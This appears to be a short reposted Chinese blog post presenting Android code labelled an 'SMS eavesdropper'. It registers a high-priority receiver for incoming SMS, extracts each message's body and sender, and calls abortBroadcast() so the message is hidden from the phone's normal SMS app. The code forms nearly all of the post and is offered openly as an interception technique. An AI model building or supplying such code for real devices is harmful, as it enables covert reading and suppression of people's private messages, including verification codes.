短信窃听套路

来源:互联网 发布:阿里云ecs搭建l2tp 编辑:程序博客网 时间:2024/04/28 19:56

短信窃听器

public class SmsReceiver extends BroadcastReceiver <receiver android:name="com.itheima.smslistener.SmsReceiver" >    <intent-filter android:priority="1000" >        <action android:name="android.provider.Telephony.SMS_RECEIVED" />    </intent-filter></receiver>权限<uses-permission android:name="android.permission.RECEIVE_SMS" />

接收短信走这里

  @Override    public void onReceive(Context context, Intent intent) {        System.out.println("短信到来了....");        //短信的数据是pdu的数据,必须对短信的格式很了解才可以解析短信.        Object[] objs = (Object[]) intent.getExtras().get("pdus");        for(Object obj:objs){            SmsMessage smsMessage = SmsMessage.createFromPdu((byte[]) obj);            String body = smsMessage.getMessageBody();            String sender = smsMessage.getOriginatingAddress();            System.out.println("body:"+body);            System.out.println("sender:"+sender);            abortBroadcast();        }    }
0 0